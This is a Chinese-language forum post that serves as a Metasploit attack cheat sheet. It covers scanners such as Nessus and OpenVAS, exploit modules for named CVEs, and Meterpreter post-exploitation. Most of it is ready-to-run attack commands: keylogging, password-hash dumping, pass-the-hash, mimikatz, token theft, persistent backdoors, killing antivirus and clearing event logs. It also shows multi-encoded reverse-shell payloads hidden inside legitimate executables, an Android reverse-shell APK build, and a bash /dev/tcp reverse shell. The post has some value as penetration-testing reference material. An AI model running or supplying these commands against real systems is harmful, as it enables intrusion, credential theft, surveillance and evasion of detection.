[漏洞利用] 漏洞利用技术

115 0
Honkers 10 小时前 | 显示全部楼层 |阅读模式

漏洞利用技术

  1. Metasploit框架的强大之处就是提供了大量的渗透测试模块和插件。模块按照不同用途可以分为7种类型,分别是Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)和Evasion(规避模块)。

  2. Nessus号称是世界上最流行的漏洞扫描程序,工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。实施的漏洞扫描包括:网络设备、虚拟主机、操作系统、数据库、Web应用程序、危害检测等。

    1. load nessus # Metasploit载入Nessus桥插件
    2. nessus_help # 查看Nessus桥插件支持的所有命令
    3. nessus_connect username:password@address:8834 # 登录到Nessus服务器
    4. nessus_policy_list # 查看服务器上所有已经定义的扫描策略
    5. nessus_scan_new # 命令创建扫描任务
    6. nessus_scan_launch <scan ID> # 启动扫描任务
    7. nessus_scan_list # 查看扫描运行的状态
    8. nessus_report_hosts <scan ID> # 查看其扫描报告
    9. nessus_report_host_details <scan ID> <host ID> # 查看其中某台主机的漏洞信息
    10. nessus_report_vulns <scan ID> # 查看具体的漏洞信息
    11. vulns --rhosts 192.168.1.104 # 查看具体的漏洞信息
    复制代码
  3. OpenVAS(开放式漏洞评估系统)是一个客户端/服务器架构,它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支,它提供的产品是完全免费的apt-get update && apt-get install openvas* -y。

    1. changeme -a <target> # 弱密码探查
    2. openvas-setup # 初始化openvas库
    3. openvasmd --user=admin --new-password=123.com # 初始化密码
    4. openvas-check-setup # 检查安装完整性
    5. netstat -anptul # 检查服务状态
    6. # 设置外部访问
    7. vi /usr/lib/systemd/system/greenbone-security-assistant.service
    8. [Service]
    9. Type=simple
    10. PIDFile=/var/run/gsad.pid
    11. ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten=0.0.0.0 --allow-header-host=192.168.19.132 --mport=9390
    12. vi /etc/default/openvas-manager
    13. MANAGER_ADDRESS=0.0.0.0
    14. vi /etc/default/greenbone-security-assistant
    15. GSA_ADDRESS=0.0.0.0
    16. MANAGER_ADDRESS=0.0.0.0
    17. openvas-stop # 停止OpenVAS服务
    18. openvas-start # 启动OpenVAS服务
    19. https://127.0.0.1:9392/ # 登录:amdin:123.com
    20. unix-privesc-check [standard|detailed] # 检查linux错误配置:standard标准模式、detailed详细模式
    21. # 手动查找漏洞信息
    22. http://cve.mitre.org/data/refs/refmap/source-MS.html # CVE的管理网站地址为
    23. https://technet.microsoft.com/en-us/security/bulletins # 微软漏洞官网地址
    24. openvas-setup # 下载并更新库
    25. openvasmd --user=admin --new-password=password # 修改密码
    26. openvas-check-setup # 检查是否安装成功
    27. netstat -ntlp # 查看监听的端口
    28. openvas-start # 启动服务
    29. https://127.0.0.1:9392 # 登录OpenVAS服务
    30. openvas-setup # 重启服务
    31. # Metasploit中远程调用OpenVAS服务
    32. load openvas # 加载Openvas插件
    33. openvas_help # 查看模块支持的所有命令
    34. openvas_connect username password host port <ssl-confirm> # 命令登录到OpenVAS服务器
    35. openvas_target_create <name> <hosts> <comment> # 创建扫描目标
    36. openvas_config_list # 查看下扫描配置列表
    37. openvas_task_create <name> <comment> <config_id> <target_id>
    38. # 创建扫描任务
    39. openvas_task_start <id> # 启动扫描任务
    40. openvas_task_list # 查看扫描任务的进度
    41. openvas_report_list # 查看下扫描报告列表
    42. openvas_format_list # 查看支持的扫描报告格式
    43. openvas_report_download <ID> # 命令下载扫描报告
    复制代码
  4. 为了区分不同扫描任务,Metasploit提供了工作区。每个工作区都保存相关任务的各种信息。不同工作区之间的信息相互独立,避免数据混淆。所以,在进行渗透攻击前,用户需要准备不同的工作区,将扫描结果分开保存。

    1. db_nmap -sP 192.168.59.0/24 # 扫描网络中存在的主机
    2. db_import <filename> # 导入扫描报告
    3. db_export -f <format> [filename] # 工作区所有的数据进行备份
    4. analyze 192.168.59.131 # 对目标主机192.168.59.131进行预分析
    5. # 工作区管理
    6. workspace # 列出工作区
    7. -h # 显示帮助信息
    8. -a work1 # 添加指定名称的工作区
    9. -r work1 work2 # 重命名工作区
    10. -v # 显示工作区详细信
    11. -d work1 # 删除指定名称的工作区
    12. -D # 删除所有工作区
    13. # 管理主机信息
    14. hosts [ options ] [addr1 addr2 ...] # 列出主机信息
    15. -a,--add # 添加主机
    16. -d,--delete # 删除主机
    17. -c<col1,col2> # 列出指定的列
    18. -C<col1,col2> # 与-c选项含义相同,但是使用后,如果不重启数据库,以后使用只列出-C指定的列
    19. -h,--help # 显示帮助信息
    20. -u,--up # 只显示开放的主机
    21. -o<file> # 将结果保存到CSV格式的文件中
    22. -O<column> # 按照指定列排序
    23. -R,--rhosts # 将搜索的结果作为RHOSTS选项的值
    24. -S,--search # 指定字符串进行搜索
    25. -i,--info # 修改主机info信息
    26. -n,--name # 修改name列的信息
    27. -m,--comment # 修改comment列的信息
    28. -t,--tag # 为主机信息添加标签
    29. # 管理模块操作
    30. use <modulepath> # 加载模块
    31. show options # 查看模块
    32. set [option] [value] # 修改选项
    33. setg [option] [value] # 全局选项
    34. unset [option] # 重置选项
    35. save # 保存配置
    36. check # 查有效性
    37. exploit # 实施攻击
    38. edit # 编辑模块
    39. back # 退出模块
    40. use auxiliary/scanner/portscan/tcp # 使用模块
    41. # 管理服务信息
    42. services [options] [addr1 addr2 ...] # 列出服务信息
    43. -a,--add # 添加服务
    44. -d,--delete # 删除服务
    45. -c<col1,col2> # 仅显示指定列的服务
    46. -h,--help # 显示帮助信息
    47. -s<name1,name2> # 指定服务名称进行搜索
    48. -p<port1,port2> # 指定端口号进行搜索
    49. -r<protocol> # 只显示基于TCP/UDP协议的服务
    50. -u,--up # 只显示开启的服务
    51. -o<file> # 将结果保存到CSV格式的文件中
    52. -O<column> # 按照指定列排序
    53. -R,--rhosts # 将搜索的结果作为RHOSTS选项的值
    54. -S,--search # 指定字符串进行搜索
    55. # 管理认证信息
    56. creds [filter options] [address range] # 查看认证信息
    57. add user:admin password:pass realm:workgroup # 添加认证信息,可添加的认证信息字段
    58. user # 用户名
    59. password # 密码
    60. ntlm # NTLM哈希值
    61. ssh-key # SSH-Key文件
    62. hash # 不可重放哈希值
    63. realm # 域
    64. realm-type # 域的类型
    65. -d # 删除全部的认证信息
    66. -P,--password <regex> # 根据密码进行过滤
    67. -p,--port <portspec> # 根据端口过滤
    68. -s <svc names> # 根据服务过滤
    69. -u,--user <regex> # 根据用户过滤
    70. -t,--type <type> # 根据类型进行过滤
    71. -O,--origins < origins > # 根据起源过滤
    72. -o <file.csv> # 认证信息保存到文件中
    73. -R # 为模块的RHOSTS进行赋值
    74. # 管理战利品
    75. loot <options> # 查看战利品
    76. -a,--add # 添加地址列
    77. -d,--delete # 删除所有列
    78. -f,--file # 从文件中导入
    79. -i,--info # 添加的info列的内容
    80. -t<type1,type2> # 指定列的类型搜索
    81. -S,--search # 指定搜索使用的关键词
    82. -h,--help # 显示帮助信息
    83. # 管理备注信息
    84. notes [options] [addr range] # 查看备注信息
    85. -a,--add # 添加新的备注信息
    86. -d,--delete # 删除备注信息
    87. -n,--note<data> # 为设置备注内容。其中,data表示数据
    88. -t<type1,type2> # 搜索指定类型列的备注信息
    89. -h,--help # 显示帮助信息
    90. -R,--rhosts # 将搜索的结果作为RHOSTS选项的值
    91. -S,--search # 指定字符串进行搜索
    92. -o,--output # 将结果保存到CSV格式的文件中
    93. --sort<field1,field2> # 字段排序
    94. # 管理漏洞信息
    95. vulns [options] [addr range] # 查看漏洞信息
    96. -o<file> # 将输出信息保存到CSV格式文件中
    97. -p,--port<portspec> # 显示指定端口的漏洞信息
    98. -s<svc names> # 显示指定服务名称的漏洞信息
    99. -R,--rhosts # 将搜索到的结果主机设置为RHOSTS的选项值
    100. -S,--search # 指定字符串进行过滤
    101. -i,--info # 显示info列的信息
    102. -h,--help # 显示帮助信息
    103. db_rebuild_cache # 重建数据缓存
    104. msfconsole # 启动终端
    105. show all # 查看模块的详细信息
    106. # 搜索特定模块
    107. search [word]
    108. app # 指定client和server攻击的模块
    109. author # 通过模块作者名称进行查找
    110. bid # 根据Bugtraq ID来查询模块
    111. cve # 根据CVE ID来查询模块
    112. edb # 根据Exploit-DB ID来查询模块
    113. name # 根据名称来查询模块
    114. osvdb # 根据OSVDB ID来查询模块
    115. platform # 根据模块级别来查询,缩小查询范围
    116. ref # 根据ref来查询模块
    117. type # 根据类型来查询模块。如类型为exploit、auxiliary或post
    118. # 过滤结果
    119. grep http search oracle
    120. -A<opt> # 显示一个匹配输出后的行
    121. -B<opt> # 显示一个匹配输出前的行
    122. -c # 仅显示一组匹配行
    123. -h # 显示帮助信息
    124. -i # 忽略实例
    125. -k<opt> # 保留输出开始的行
    126. -m<opt> # 匹配一个结果后停止
    127. -s<opt> # 跳过尝试匹配前的输出结果
    128. -v # 反向匹配
    129. # 渗透攻击类模块(exploit)
    130. use exploit/multi/ssh/sshexec # multi/ssh/sshexec是一个渗透攻击类模块
    131. info # 查看该模块的详细信息
    132. set RHOSTS 192.168.1.106 # 设置目标主机
    133. set PASSWORD msfadmin # 设置密码
    134. set USERNAME msfadmin # 设置用户名
    135. unset # 重新设置
    136. setg # 全局变量设置
    137. save # 命令保存
    138. exploit # 实施攻击
    139. # 辅助模块(auxiliar)
    140. use auxiliary/scanner/mysql/mysql_login # 选择mysql_login辅助模块,mysql登录爆破
    141. set RHOSTS 192.168.1.102
    142. set THREADS 10
    143. set user_file /root/usernames.txt
    144. set pass_file /root/passwords.txt
    145. run
    146. # 攻击载荷(Payload)
    147. run post/linux/gather/enum_system # 使用enum_system后渗透模块获取目标主机的系统信息
    148. use exploit/multi/ssh/sshexec # 通过linux/x86/shell/bind_tcp攻击载荷来获得与目标主机的Shell交互
    149. set payload linux/x86/shell/bind_tcp # 加载攻击载荷
    150. set RHOSTS 192.168.1.105
    151. set PASSWORD 123456
    152. exploit
    153. # IDS/IPS会检查数据包是否合规则,在攻击载荷生成时用到nops文件夹下的NOPs修改(nops)
    154. # 编码模块(Encoders)
    155. ./msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.1.104 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe
    156. # 使用x86/shikata_ga_nai编码创建攻击载荷
    157. # 插件(Plugins)
    158. load # 查看加载插件的方法
    159. load sqlmap # 加载SQLmap插件
    160. help sqlmap # 查看该插件支持的所有命令
    161. sqlmapapi -s -p 8775 # 需要启动sqlmapapi
    162. sqlmap_connect 127.0.0.1 # 连接到sqlmapapi
    163. sqlmap_new_task # 创建一个新的任务
    164. sqlmap_start_task 1 'www.baidu.com' # 启动新建的任务
    165. sqlmap_list_tasks # 查看任务列表
    166. sqlmap_get_status 1 # 查看扫描状态
    167. sqlmap_get_data 1 # 获取扫描的漏洞信息
    168. sqlmap_get_log 1 # 查看扫描任务运行的日志信息
    169. # 规避模块(Evasion),使用windows_defender_exe规避模块,生成一个Windows EXE文件来规避Windows Defender程序
    170. use windows/windows_defender_exe
    171. show options
    172. run # 生成一个规避文件
    173. # 模块扩展,导入第三方模块,渗透测试代码库网站(http://www.exploit-db.com/)
    174. cd /root/.msf4/modules
    175. mkdir -p exploits/window/logs/
    176. mv /root/.msf4/modules/module.rb ./module.rb
    177. # 动态加载模块,临时使用和临时关闭
    178. loadpath [modulespath] # 用来从一个路径中搜索并加载第三方模块
    179. load [var=val var=val ...] # 加载模块
    180. unload [module] # 卸载模块
    181. jobs [option] # 查看任务
    182. -K # 列出终端运行的所有任务
    183. -h # 显示帮助信息
    184. -i<opt> # 列出一个任务的详细信息
    185. -k<opt> # 指定终端的任务名称
    186. -l # 列出所有运行任务
    187. -v # 显示更详细信息
    188. kill <ID> # 结束任务
    复制代码
  5. 扩展功能,为了加强Metasploit的漏洞利用功能,Metasploit还提供了一些扩展模块和其他功能,如Meterpreter、Msfvenom和免杀功能。

    1. # Meterpreter是Metasploit框架的一个扩展模块,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、权限提示、跳板攻击等。
    2. # 捕获控制设备信息
    3. # 捕获屏幕
    4. screenshot # 捕获目标主机当前正在显示的屏幕
    5. run sound_recorder # 录制目标主机中麦克风的声音,默认录制30秒的声音
    6. # 获取键盘记录
    7. run post/windows/capture/keylog_recorder # keylog_recorder模块来获取键盘记录信息
    8. keyscan_start # 启动键盘输入
    9. keyscan_dump # 捕获键盘输入
    10. keyscan_stop # 停止捕获
    11. # 提升权限
    12. getuid # 查看获取到的权限等级
    13. shell # 进入PowerShell
    14. exit # 退出PowerShell终端
    15. getsystem # 提升权限
    16. # 挖掘用户名和密码
    17. run post/windows/gather/hashdump # 获取系统所有的用户名和密码哈希值
    18. use exploit/windows/smb/psexec # 使用psexec模块实现哈希值传递
    19. set payload windows/meterpreter/reverse_tcp # 选择攻击载荷
    20. set LHOST 192.168.1.105 # 设置攻击主机地址
    21. set LPORT 443 # 设置端口号
    22. set RHOSTS 192.168.1.104 # 设置目标主机地址
    23. set SMBUser Administrator # 指定用户名
    24. set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
    25. # 指定用户的密码哈希值
    26. exploit
    27. # 破解纯文本密码
    28. load mimikatz # 加载mimikatz模块
    29. help # 查看mimikatz模块下有效的命令
    30. msv # 使用msv命令恢复哈希密码
    31. kerberos # 获取Kerberos(网络认证协议)信息
    32. # 假冒令牌
    33. ps # 使用ps命令列出当前运行的应用程序及运行这些应用的用户账号
    34. steal_token <PID> # 盗取管理员用户的令牌
    35. use incognito # 加载incognito模块
    36. list_tokens -u # 列举所有的令牌
    37. impersonate_token BENET \\domainadmin # 假冒域管理员身份
    38. add_user abc password -h 192.168.1.104 # 此时用户可以以管理员身份进行一些操作
    39. # 恢复目标主机删除的文件
    40. background # 后台运行Meterprete会话
    41. use post/windows/gather/forensics/ # 使用recovery_files模块
    42. recovery_files
    43. show options
    44. set DRIVE E:
    45. set SESSION 1
    46. run # 启动渗透攻击
    47. set FILES txt # 选择恢复后缀名为.txt的文件
    48. run
    49. # 通过跳板攻击其他机器,这里可以使用在scripts/meterpreter/目录中的Meterpreter外部脚本来实现
    50. # 成功获取到了Meterpreter会话
    51. run get_local_subnets # 查看目标系统上的子网
    52. route add [IP] [make] [ID] # 将攻击会话放到后台运行,并且添加路由条目
    53. background # 将会话放到后台,其会话ID为1
    54. route add 192.168.1.0 255.255.255.0 1 # 添加路由条目
    55. route print # 查看添加的路由条目
    56. load auto_add_route # 自动添加路由
    57. # 使用Meterpreter脚本
    58. run [scriptname]
    59. run post/windows/manage/migrate
    60. migrate [PID] # 迁移进程
    61. 2.关闭杀毒软件
    62. run killav # killav扩展脚本来停止相关进程
    63. run hashdump # 获取系统密码哈希值
    64. run packetrecorder -i 1 # 查看目标机上的所有流量
    65. run scraper # 获取系统信息
    66. sessions -i 1 # 激活Meterpreter会话
    67. run persistence -X -i 50 -p 443 -r 192.168.1.104 # 创建持久后门
    68. background
    69. # 使用multi/handler模块进行监听,等待目标主机反向连接到攻击主机
    70. use multi/handler
    71. set payload windows/meterpreter/reverse_tcp
    72. set LHOST 192.168.1.105
    73. set LPORT 443
    74. exploit
    75. # 将命令行Shell升级为Meterpreter
    76. use exploit/multi/samba/usermap_script
    77. show options
    78. set RHOST 192.168.1.106
    79. exploit -z
    80. sessions -u 1 # 将命令行Shell会话1升级为Meterpreter
    81. sessions
    82. sessions -i 2
    83. sessions -i 1
    84. irb # 清除踪迹
    85. log = client.sys.eventlog.open('system') # 设置想要删除的日志
    86. log=client.sys.eventlog.open('system')
    87. log=client.sys.eventlog.open('security')
    88. log=client.sys.eventlog.open('application')
    89. log=client.sys.eventlog.open('directory service')
    90. log=client.sys.eventlog.open('dns server')
    91. log=client.sys.eventlog.open('file replication service')
    92. log.clear # 清除日志
    93. clearev # 清除日志
    94. msfvenom [option] # MSF攻击载荷生成器
    95. -p|--payload<payloadname> # 指定使用的payload攻击载荷
    96. --payload-options # 列出Payload的标准选项
    97. -l|--list<type> # 列出一个模块类型。可指定的模块类型包括payloads、encoders、nops和all
    98. -n|--nopsled<len> # 指定生成的攻击载荷长度
    99. -f|--format<format> # 指定生成的攻击载荷格式
    100. -e|--encoder<encoder> # 使用的编码方式
    101. -a|--arch<arch> # 使用的架构
    102. --platform<platform> # 使用的平台
    103. -s|--space<len> # 生成攻击载荷的最大尺寸
    104. -b|--bad-chars<strlist> # 指定需要规避的字符列表,如'\x00\xff'
    105. -i|--iterations<count> # 指定进行编码的次数
    106. -c|--add-code<path> # 指定一个额外的win32 shellcode文件
    107. -x|--template<path> # 指定一个自定义的可执行文件作为模板使用
    108. -k|--keep # 配置攻击载荷在一个独立的线程中启动
    109. -o|--out # 保存攻击载荷
    110. -v|--var-name<name> # 指定用于某些输出格式的自定义变量名称
    111. --smallest # 尽可能生成最小的攻击载荷
    112. # 生成一个用于攻击Windows 7 sp1的Meterpreter攻击载荷,并利用shikata_ga_nai编码方式
    113. msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.105 LPORT=443 -f exe > payload.exe
    114. upload backdoor.exe
    115. use exploit/multi/handler # 选择用于反向连接的监听模块
    116. set payload windows/meterpreter/reverse_tcp
    117. show options
    118. set LHOST 192.168.1.105
    119. set LPORT 443
    120. exploit
    121. sysinfo
    122. # 免杀技术
    123. msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -f raw | msfvenom -a x86 --platform win -e x86/alpha_upper -i 2 -f raw | msfvenom -a x86 --platform platform win -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform win -e x86/countdown -i 5 -f exe -o /root/payload.exe
    124. # 多重编码
    125. wget https://live.sysinternals.com/Files/ProcessExplorer.zip
    126. mkdir work
    127. unzip ProcessExplorer.zip -d work/
    128. msfvenom -p windows/meterpreter/reverse_tcp -x work/procexp.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -o /root/backdoor.exe # 自定义可执行文件模板
    129. wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
    130. msfvenom -p windows/meterpreter/reverse_tcp -x /root/putty.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -k -o /root/putty_backdoor.exe # 隐秘启动一个攻击载荷
    131. upx -5 payload.exe -q # 加壳软件
    复制代码
  6. 漏洞利用

    1. #Windows系统
    2. ## Microsoft Windows远程溢出漏洞——CVE-2012-0002
    3. search CVE-2012-0002
    4. use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    5. show options
    6. set RHOSTS 192.168.1.106
    7. exploit
    8. ## MS11-003(CVE-2001-0036)漏洞
    9. search MS11-003
    10. use exploit/windows/browser/ms11_003_ie_css_import
    11. show options
    12. set SRVHOST 192.168.1.105
    13. exploit
    14. sessions
    15. sessions -i 1
    16. sysinfo
    17. ## MS03-026(CVE-2003-0352)漏洞
    18. search CVE-2003-0352
    19. use exploit/windows/dcerpc/ms03_026_dcom
    20. show options
    21. set RHOSTS 192.168.1.103
    22. exploit
    23. ## IE浏览器的激光漏洞利用
    24. use exploit/windows/browser/ms10_002_aurora
    25. set payload windows/meterpreter/reverse_tcp
    26. show options
    27. set SRVPORT 80
    28. set URIPATH /
    29. set LHOST 192.168.1.108
    30. set LPORT 443
    31. exploit
    32. run migrate -f
    33. ## 浏览器自动攻击模块
    34. search autopwn
    35. use auxiliary/server/browser_autopwn
    36. set payload windows/meterpreter/reverse_tcp
    37. show options
    38. set LHOST 192.168.1.108
    39. set URIPATH /
    40. exploit
    41. sessions
    42. sessions -i 1
    43. ## 利用AdobeReader漏洞——CVE-2010-1240
    44. use exploit/windows/fileformat/adobe_pdf_embedded_exe
    45. show options
    46. exploit
    47. ## 扫描配置不当的Microsoft SQL Server
    48. search mssql_ping
    49. use auxiliary/scanner/mssql/mssql_ping
    50. show options
    51. set RHOSTS 192.168.1.103
    52. set THREADS 255
    53. run
    54. # Linux系统
    55. ## 利用Samba服务usermap_script漏洞
    56. search usermap_script
    57. use exploit/multi/samba/usermap_script
    58. show options
    59. set RHOSTS 192.168.1.102
    60. exploit
    61. sessions
    62. ## IRC后台守护程序漏洞
    63. search irc
    64. use exploit/unix/irc/unreal_ircd_3281_backdoor
    65. show options
    66. set RHOSTS 192.168.1.107
    67. exploit
    68. ## Samba匿名共享目录可写入漏洞
    69. use auxiliary/admin/smb/samba_symlink_traversal
    70. show options
    71. smbclient -L //192.168.1.102
    72. set RHOSTS 192.168.1.102
    73. set SMBSHARE tmp
    74. exploit
    75. smbclient //192.168.1.102/tmp
    76. ## 是否允许匿名用户登录
    77. use auxiliary/scanner/ftp/anonymous
    78. show options
    79. set RHOSTS 192.168.1.101
    80. run
    81. ## 获取目标主机的root权限
    82. search vsftpd
    83. use exploit/unix/ftp/vsftpd_234_backdoor
    84. show options
    85. set RHOSTS 192.168.1.101
    86. exploit
    87. ## 渗透攻击MySQL数据库
    88. # 判断数据库是否允许外链
    89. use auxiliary/scanner/mysql/mysql_version
    90. set RHOSTS 192.168.1.105
    91. exploit
    92. # 实施暴力破解密码
    93. use auxiliary/scanner/mysql/mysql_login
    94. set RHOSTS 192.168.1.105
    95. set PASS_FILE /root/passwords.txt
    96. set USERNAME root
    97. exploit
    98. # 枚举数据库信息
    99. use auxiliary/admin/mysql/mysql_enum
    100. set RHOSTS 192.168.1.105
    101. set USERNAME root
    102. set PASSWORD 123456
    103. exploit
    104. # 导出Hash值并破解
    105. use auxiliary/scanner/mysql/mysql_hashdump
    106. show options
    107. set RHOSTS 192.168.1.105
    108. set USERNAME root
    109. set PASSWORD 123456
    110. exploit
    111. loot
    112. use auxiliary/analyze/jtr_mysql_fast
    113. exploit
    114. # MySQL认证漏洞利用(CVE-2012-2122)
    115. use auxiliary/scanner/mysql/mysql_authbypass_hashdump
    116. show options
    117. set RHOSTS 192.168.1.105
    118. exploit
    119. # 利用MOF提权
    120. use exploit/windows/mysql/mysql_mof
    121. show options
    122. set RHOSTS 192.168.1.109
    123. set USERNAME root
    124. set PASSWORD 123456
    125. exploit
    126. # Android系统
    127. msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168. 1.108 LPORT=4444 R > /root/android.apk
    128. apt-get install zipalign
    129. keytool [option]
    130. -genkey # 在用户主目录中创建一个默认文件.keystore,还会产生一个mykey的别名。mykey中包含用户的公钥、私钥和证书。
    131. -alias # 产生别名。
    132. -keystore # 指定秘钥库的名称(产生的各类信息将不在.keystore文件中)。
    133. -keyalg # 指定密钥的算法,如RSA、DSA。如果不指定的话,默认使用DSA。
    134. -validity # 指定创建的证书有效期天数,默认为90天。
    135. -keysize # 指定秘钥长度。
    136. -storepass # 指定秘钥库的密码(获取keystore信息所需的密码)。
    137. keypass # 指定别名条目的密码(私钥的密码)。
    138. -dname # 指定证书拥有者信息。例如:"CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名称,ST=州或省份名称,C=单位的两字母国家代码"。
    139. -list # 显示密钥库中的证书信息。
    140. -export # 将指定的证书导出到文件中。
    141. -file # 指定导出到文件的文件名。
    142. -delete # 删除密钥库中的某个条目。
    143. -printcert # 查看导出的证书信息。
    144. -keypasswd # 修改密钥库中指定的条目口令。
    145. -storepasswd # 修改keystore口令。
    146. -import # 将已签名的数字证书导入密钥库。
    147. keytool -genkey -v -keystore /root/key.keystore -alias android -keyalg RSA -keysize 2048 -validity 365 -storepass 123456 -dname "CN= Android,OU=Google,O=Google,L=IL,ST=NY,C=US"
    148. jarsigner [option] jarfilename # 使用JARsigner工具签名APK
    149. -verbose # 签名/验证时输出详细信息
    150. -sigalg # 签名算法的名称
    151. -digestalg # 摘要算法的名称
    152. -keystore # 秘钥库位置
    153. jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/key.keystore /root/android.apk android
    154. jarsigner -verify -verbose -certs /root/android.apk
    155. zipalign -v 4 [APKfile] [new APKfile] # 使用zipalign验证该APK文件
    156. zipalign -v 4 /root/android.apk /root/pentest.apk
    157. # 攻击载荷文件APK已经准备完成。接下来将该APK文件发送到目标Android系统,然后启动Metasploit监听器,等待与目标主机的连接。具体方法如下:
    158. use exploit/multi/handler
    159. set payload android/meterpreter/reverse_tcp
    160. show options
    161. set LHOST 192.168.1.108 # 设置监听主机地址
    162. exploit # 启动监听
    163. sysinfo # 查看目标系统信息
    164. # 网站
    165. # 渗透攻击Tomcat服务
    166. # 利用tomcat_mgr_login模块,暴力破解目标主机(Metasploitable 2)下Tomcat服务的用户名和密码
    167. use auxiliary/scanner/http/tomcat_mgr_login
    168. show options
    169. set RHOSTS 192.168.1.107
    170. set RPORT 8180
    171. exploit
    172. # 利用tomcat_mgr_deploy模块做进一步渗透
    173. search tomcat_mgr_deploy
    174. use exploit/multi/http/tomcat_mgr_deploy
    175. show options
    176. set RHOSTS 192.168.1.107
    177. set USERNAME tomcat
    178. set PASSWORD tomcat
    179. set RPORT 8180
    180. exploit
    181. # CVE-2010-0425漏洞
    182. search CVE-2010-0425
    183. use auxiliary/dos/http/apache_mod_isapi
    184. show options
    185. set RHOSTS 192.168.1.102
    186. exploit
    187. # 探测网站是否启用WebDAV
    188. use auxiliary/scanner/http/webdav_scanner
    189. show options
    190. set RHOSTS 192.168.1.0/24
    191. exploit
    192. # Oracle Java SE远程拒绝服务漏洞(CVE-2012-0507)
    193. search CVE-2012-0507
    194. use exploit/multi/browser/java_atomicreferencearray
    195. show options
    196. exploit
    197. # Java零日漏洞(CVE-2012-4681)
    198. use exploit/multi/browser/java_jre17_exec
    199. show options
    200. show targets
    201. set target 1
    202. set payload windows/meterpreter/reverse_tcp
    203. set LHOST 192.168.1.108
    204. set SRVHOST 192.168.1.108
    205. exploit
    206. # 端口扫描
    207. search portscan
    208. use auxiliary/scanner/portscan/syn
    209. show options
    210. set RHOSTS 192.168.1.105
    211. set THREADS 50
    212. run
    213. # 服务版本扫描
    214. search ftp_version
    215. use auxiliary/scanner/ftp/ftp_version
    216. show options
    217. set RHOSTS 192.168.1.101
    218. run
    219. # 扫描服务弱口令
    220. search postgresql
    221. use auxiliary/scanner/postgres/postgres_login
    222. show options
    223. set RHOSTS 192.168.1.101
    224. exploit
    复制代码
  7. 辅助功能

    1. connect [option] # 连接主机
    2. -C # 对于EOL序列尝试使用CRLF
    3. -p<opt> # 指定源端口
    4. -s<opt> # 指定源地址
    5. -c<opt> # 指定使用的Comm端口
    6. -h # 显示帮助信息
    7. -i<opt> # 发送一个文件的内容
    8. -p<opt> # 列出使用的代理
    9. -s # 使用SSL连接
    10. -u # 切换到一个UDP套接字
    11. -w<opt> # 指定连接超时值
    12. -z # 仅尝试连接
    13. resource path1 [path2...] # 批处理
    14. resource version.rc # 将version命令保存到version.rc文件中。然后可以通过resource命令来加载该文件
    15. # 在资源文件中设置攻击目标和攻击载荷等参数
    16. vim autoexploit.rc
    17. use exploit/windows/smb/ms08_067_netapi
    18. set RHOST 192.168.1.109
    19. set PAYLOAD windows/meterpreter/reverse_tcp
    20. set LHOST 192.168.1.105
    21. exploit
    22. resource /root/autoexploit.rc
    23. ./msfconsole -r /root/autoexploit.rcbash -c 'bash -i >&/dev/tcp/127.0.0.1/4444 2>&1 0>&1'
    24. sessions [id] # 会话管理
    25. -C<opt> # 运行一个Meterpreter命令
    26. -K # 保持所有终端会话
    27. -c<opt> # 运行一个命令
    28. -h # 显示帮助信息
    29. -i<opt> # 进入指定会话ID的交互模式
    30. -k<opt> # 结束指定会话的ID
    31. -l # 列出所有活跃会话
    32. -q # 安静模式
    33. -r # 重置会话的缓冲
    34. -s<opt> # 运行一个脚本
    35. -t<opt> # 设置一个响应超时值,默认是15
    36. -u<opt> # 升级一个Shell到Meterpreter会话
    37. -v # 列出会话详细信息
    38. -x # 显示扩展信息
    39. route[add/remove] subnet netmask [comm/sid] # 使用路由
    40. route [add/remove] cidr [comm/sid]
    41. route [get]
    42. route [flush]
    43. route[print]
    44. add # 添加一个路由
    45. remove # 删除一个路由。del是一个别名
    46. flush # 删除所有路由
    47. get # 显示指定目标的路由
    48. print # 显示所有活动路由
    49. # Nessus是一款知名的漏洞扫描工具。Metasploit提供了Nessus插件,可以直接调用Nessus,方便两个工具的衔接。用户在Metasploit中加载该插件后,则可以使用该插件提供的命令来连接Nessus服务器,并以远程方式来实施漏洞扫描。本附录将详细介绍Nessus插件的使用。
    50. # 使用Nessus服务器
    51. nessus_connect username:password@serveraddress:8834 # 连接服务器
    52. # 快速连接
    53. nessus_save # 保存当前的登录认证信息
    54. nessus_connect # 快速连接到Nessus服务器
    55. nessus_logout # 退出登录
    56. # 查看服务器状态
    57. nessus_server_properties # 显示Nessus服务器信息
    58. nessus_server_status # 检查服务器状态
    59. nessus_admin # 检查用户是否为管理员
    60. nessus_folder_list # 列出服务器所有配置目录
    61. nessus_scanner_list # 列出所有扫描器
    62. # 使用策略模版
    63. nessus_template_list scan # 列出扫描模板
    64. nessus_template_list policy # 列出所有策略模板
    65. nessus_policy_list -S searchterm # 查看用户创建的所有策略模板
    66. nessus_policy_del <policy ID> # 删除策略模版
    67. nessus_policy_list
    68. # 管理扫描任务
    69. nessus_scan_list -S searchterm # 列出所有扫描任务
    70. scan_details <scan ID> <category> -S searchterm # 查看指定任务的详细信息
    71. nessus_scan_details 6 info # 查看扫描ID为6的扫描任务的详细信息
    72. nessus_scan_details 6 vulnerabilities # 查看扫描任务的漏洞详细信息
    73. nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>
    74. # 创建新任务
